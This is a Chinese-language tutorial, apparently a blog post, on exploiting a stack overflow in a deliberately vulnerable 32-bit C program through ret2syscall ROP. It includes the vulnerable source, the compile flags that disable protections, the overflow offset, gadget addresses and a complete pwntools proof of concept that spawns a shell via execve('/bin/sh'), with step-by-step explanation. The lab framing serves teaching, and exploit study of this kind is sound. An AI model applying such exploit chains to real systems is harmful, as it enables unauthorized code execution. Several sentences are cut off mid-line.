程式:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
很容易看出func存在溢出
liunx上面的系統調用原理
eax 系統調用号
ebx 第一個參數
ecx 第二個參數
edx 第三個參數
esi 第四個參數
edi 第五個參數
int 0x80
我們利用上面的溢出和根據ropgadgets與ret2syscall技術原理去執行
execve("/bin/sh",null,null); ,
是以eax就存放execve函數的系統調用号11,ebx存放第一個參數/bin/sh,ecx存放第二個參數null,就是0,edx存放第三個
eax=11 0xb
ebx="/bin/sh"的位址
ecx=0
edx=0
編譯
gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
gdb 7.exe
start
static:靜态編譯,這樣有指令流序列
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHLxEkeNp3Zq5EeRpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLzcjMwEzN1ATM0IDNwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
找到溢出點:
在44溢出
利用ropgadget找指令位址
利用溢出把函數execve需要的參數壓入棧中,壓入棧中之後,這個時候我們就需要找指令位址,利用ret、push、pop這些指令把值指派到相應的寄存器中
找指令流中包含pop和ret的,還必須有eax,我們用:0x080aaa06
位址:0x0806f711
/bin/sh位址:0x080ae008
int 0x80位址:0x0804a3d2
poc和解釋
from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()
解釋一下:
溢出44,是以我們用44個0x90填充,add_eax是pop eax ; ret 這段程式的位址, 當執行func函數的ret語句時會,eip為這個地
執行pop eax ; ret 這兩條語句,pop eax,此時棧頂值隻要時調用execve函數調用号,我們就成功把調用号複制給eax,eax
是以後面加了value_eax 。
執行完pop eax ,棧頂的值是add_edx_ecx_ebx ,也就是下面程式的位址
pop edx ;
pop ecx ;
pop ebx ;
ret
執行ret,我們到這段程式執行,此時棧頂的值是value_edx ,執行pop edx ; ,value_edx到edx中了,後面指令依次類推,執
棧頂的值是: add_int ,也就是int 0x80 的首位址,執行完ret,我們到這裡執行,成功調用execve函數
執行poc,成功:
總結
這個思想大緻是在一個程式中,找出我們需要的語句,然後利用溢出,構造資料,把資料打入棧中·,然後利用pop、push、ret語句,将這些資料傳入到相應的寄存器,然後讓程式去執行這些語句,相當于我們在
一些語句,讓程式不按照原來的步驟執行,去執行我們找出來的語句。
這裡面關鍵的技術是保證堆棧平衡,把參數放到指令流需要的地方。這是ropgadgets技術的精髓